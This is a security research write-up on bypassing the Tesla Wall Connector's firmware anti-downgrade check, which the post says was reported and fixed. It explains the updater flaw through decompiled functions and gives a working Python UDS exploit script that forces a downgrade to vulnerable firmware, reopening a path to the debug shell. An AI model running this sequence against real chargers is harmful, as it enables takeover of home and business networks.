# Exploiting the Tesla Wall Connector from its charge port connector – Part 2: bypassing the anti-downgrade

In a previous article, we presented an attack against the Tesla Wall Connector Gen 3 used during Pwn2Own Automotive 2025. The exploit chain relied on a simple fact: there was no anti-downgrade mechanism. Once we could speak UDS over the charging cable, we could just write an old, vulnerable firmware to the passive slot, reboot, and pop the debug shell.

Tesla then shipped a firmware update that adds an anti-downgrade check to the update routine. Every firmware image now carries a **security ratchet** value, and the updater refuses any image whose ratchet is lower than the one stored on the device.

This second article describes how this anti-downgrade works, and how we bypassed it by abusing the order of operations between the partition table write and the slot erase, replaying the original Pwn2Own attack on a fully up-to-date charger.

This is one of those vulnerabilities you find by hand, with a coffee, an IDA window, and zero help from a language model. Do you remember those old good days?

Looking to improve your skills? Discover our **trainings** sessions! Learn more.

## A quick recap of the update procedure

We described the full update flow over Single-Wire CAN in the first article. In short:

1. Open a UDS session (type `2`).
2. Authenticate with Security Access (level `5`, XOR- `0x35` algorithm).
3. Run routine `0xFF00` to prepare and erase the passive slot.
4. Write `0x0E` to identifier `0x102` to mark the slot as “settable via UDS”.
5. Push the firmware with `Request Download`/ `Transfer Data`/ `Request Transfer Exit`.
6. Run routine `0x201` to validate the freshly written image and switch slots.
7. Run routine `0x202` to reboot.

As a reminder, the AW-CU300 uses two firmware slots: one **active** (currently running) and one **passive** (target of the update). After a successful update, slots flip and the new firmware becomes active on next boot.

## What changed in 24.44.3

After diffing the old firmware against version `24.44.3`, we focused on `switch_to_new_firmware()`, the function that handles UDS routine `0x201`:

“`
int switch_to_new_firmware() { … if ( settable_via_uds != 14 || !passive_firmware ) return 1; if ( passive <= 0 || passive > passive_firmware->size || (v2 = check_signature(passive_firmware->start, passive)) != 0 || !check_image_and_antidowngrade(nullptr) ) { part_erase(flash_drv, passive_firmware->start, 0x14u); v2 = 4; } else { part_write_layout(passive_firmware); } flash_drv_close(flash_drv); passive_firmware = nullptr; return v2; }
“`

`check_image_and_antidowngrade()` is new. It parses the firmware segments, recomputes their CRCs, then calls `verify_firmware_segments_platform()` for the ratchet comparison:

“`
int verify_firmware_segments_platform(int flash_drv, u32_t *segments, …) { … // Walk the segments looking for the version descriptor in the // segment that ends in the [0x100000 .. 0x100010] window. … if ( buffer.next != (netif *)’NSRV’ /* “VRSN” */ ) goto next_segment; major = LOBYTE(buffer.ip_addr.addr); minor = BYTE1(buffer.ip_addr.addr); if ( buffer.netmask.addr == ‘2SRV’ /* “VRS2” */ && LOBYTE(buffer.gw.addr) > 1u ) firmware_ratchet = BYTE2(buffer.gw.addr); else firmware_ratchet = 0; … sub_1F04866C(¤t_ratchet); // read ratchet from PSM (persistent storage) if ( current_ratchet <= firmware_ratchet || !call_psm_wrapper(…) ) { return 0; // accepted } log(“Failure: Security ratchet downgrade prevented %d < %d”, firmware_ratchet, current_ratchet); return -1; }
“`

Version information is embedded in firmware segments ( `VRSN` for the version, `VRS2` for the ratchet), in the segment that loads near `0x100000`. Only the updater parses this, not the bootloader. On the device side, the ratchet lives in PSM (Persistent Storage Manager) and gets incremented when a higher-ratchet image is activated.

So on a `24.44.3` device, sending the old `0.8.58` firmware and calling routine `0x201` terminates with:

“`
ERROR verify_firmware_segments_platform:145 Failure: Security ratchet downgrade prevented 0 < N
“`

And the slot gets immediately erased. There is no way to keep an old image in flash through the official path.

## The bootloader doesn’t care

`boot2`, as it is called in the build artifacts, sits in flash at a fixed address and is **not** part of any firmware update shipped by Tesla. We had to dump the flash from a charger we previously rooted via the original Pwn2Own exploit to analyze it.

It does perform several checks on the active firmware before jumping to it:

– Magic header ( `SBFH`).
– Per-segment CRC32.
– RSA signature against a key from the keystore.

But it has **no notion of a security ratchet**. Any firmware image with a valid signature and correct CRC will execute, regardless of its version. Neither `boot2` nor the bootrom implement secure boot. So the anti-downgrade is enforced exclusively by one piece of code, `switch_to_new_firmware()`, at one moment: when routine `0x201` is called.

So: can we get an old, signed firmware into the **active** slot without ever calling routine `0x201` on it?

## How a slot becomes active

Routine `0xFF00` calls `prepare_passive_slot()`, which selects which physical slot is “passive” based on the current boot flags, then erases it:

“`
int prepare_passive_slot(int a1, int a2, int a3) { partition_entry *f1, *f2; int16_t v7 = 0; if ( part_read_layout(a1, a2, a3) || (f1 = part_get_layout_by_id(1, &v7), f2 = part_get_layout_by_id(1, &v7), !f1) || !f2 ) { passive_firmware = nullptr; __und(0xFFu); } if ( (g_boot_flags & 3) != 0 ) // we booted from slot 1? f2 = f1; // then passive is slot 0 passive_firmware = f2; … if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 ) … return 0; }
“`

`part_get_layout_by_id()` is iterator-based: first call returns the first partition entry with id 1, second call returns the next one. Depending on `g_boot_flags`, one or the other becomes passive.

Here is what matters: `g_boot_flags` **is set at boot time and never updated**. It reflects which slot we booted from, not what the partition table currently says.

`part_write_layout()`, which flips slots, does not touch firmware data. It only rewrites the partition table by bumping a per-slot generation counter:

“`
int part_write_layout(partition_entry *a1) { … if ( /* a1 matches f1 */ ) v3->gen_level = v4->gen_level + 1; else if ( /* a1 matches f2 */ ) v4->gen_level = v3->gen_level + 1; else return -23; // erase + rewrite the 4KiB partition table area part_erase(v8, partition_table_addr, 0x1000); flash_write(v8, &dword_129B7C, 16); flash_write(v8, byte_1299FC, 24 * word_129B82); flash_write(v8, &checksum, 4); … }
“`

On boot, the bootloader picks the slot with the highest `gen_level`. So to make a slot active for next boot, you only need `part_write_layout()` to succeed once for that slot. What happens to its content afterwards does not matter.

## The bypass

To recap: routine `0xFF00` erases the physical passive slot based on `g_boot_flags` (which never changes during a session), routine `0x201` validates slot contents and writes the partition layout, and the bootloader trusts the partition table without checking the ratchet.

With that in mind:

1. Send a **valid**, up-to-date firmware to the passive slot. Call routine `0x201`. Validation passes; the partition layout is written, so this slot now has the highest `gen_level`.
2. Without rebooting, call routine `0xFF00` again. Because `g_boot_flags` hasn’t changed, the same physical slot is selected as **passive**, and the firmware we just validated is erased. The partition table is not touched.
3. Send an **old**, signed-but-vulnerable firmware to the now-empty slot.
4. Skip routine `0x201` entirely (we don’t need it, and it would refuse the image). Just call routine `0x202` to reboot.

On reboot, the bootloader reads the partition table, picks the slot with the highest `gen_level` (the one we just rewrote), validates its signature (still valid, it is a properly signed firmware), and jumps in. The anti-downgrade check never ran on the old image.

## Exploit

Our exploit is a small extension of the Pwn2Own car simulator. Single-Wire CAN setup, GPIO sequence, UDS plumbing: all unchanged. Only the update sequence is doubled:

“`
with Client(conn, config=uds_config) as client: client.set_config(‘security_algo’, tesla_uds_algo) client.change_session(2) client.unlock_security_access(5) # 1. Push a valid, up-to-date firmware and let routine 0x201 # write the partition layout for us. client.routine_control(routine_id=0xFF00, control_type=1) client.write_data_by_identifier(0x102, 0x0E) data = open(“firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin”,”rb”).read() send_firmware_data(client, data) client.routine_control(routine_id=0x201, control_type=1) # writes layout sleep(1) # 2. Re-prepare the same physical slot. The valid firmware gets # erased; the partition table is untouched. client.routine_control(routine_id=0xFF00, control_type=1) client.write_data_by_identifier(0x102, 0x0E) data = open(“firmwares/WC3_PROD_OTA_08.58.bin”,”rb”).read() send_firmware_data(client, data) sleep(1) # 3. Reboot. The bootloader will boot the old firmware because # the partition table still says this slot is the active one. client.routine_control(routine_id=0x202, control_type=1)
“`

Total run time is roughly 30 minutes on the 33.3 kbps SWCAN bus: twice the original Pwn2Own timing, since two full firmware images have to be sent over the cable. After reboot, version `0.8.58` is back in charge, and the rest of the original chain (UDS leak of the Wi-Fi credentials, telnet to the debug shell, buffer overflow in the argument parser) works exactly as before.

## Conclusion

Because the anti-downgrade only lives in the updater and the bootloader does not check the ratchet, any sequence that commits the partition layout then overwrites the slot content bypasses it. Routine `0xFF00` lets us do exactly that: erase the firmware after the layout has been written, then write whatever we want.

Enforcing the ratchet in the bootloader would close this gap. Other options: have routine `0xFF00` invalidate the partition layout entry when erasing a slot, so an erased-then-rewritten slot is never picked as bootable. Or simply force a reboot after a successful update, or reject any new update session once routine `0x201` has succeeded.

We reported this vulnerability to Tesla and it was fixed in a firmware update several months ago. As with the first article, the Wall Connector typically sits on a home or business network, and a charger taken over via its charging cable becomes a foothold inside that network. On the bright side, Tesla’s automatic OTA deployment to connected chargers means the fix reaches most devices quickly, reducing the exposure window in practice.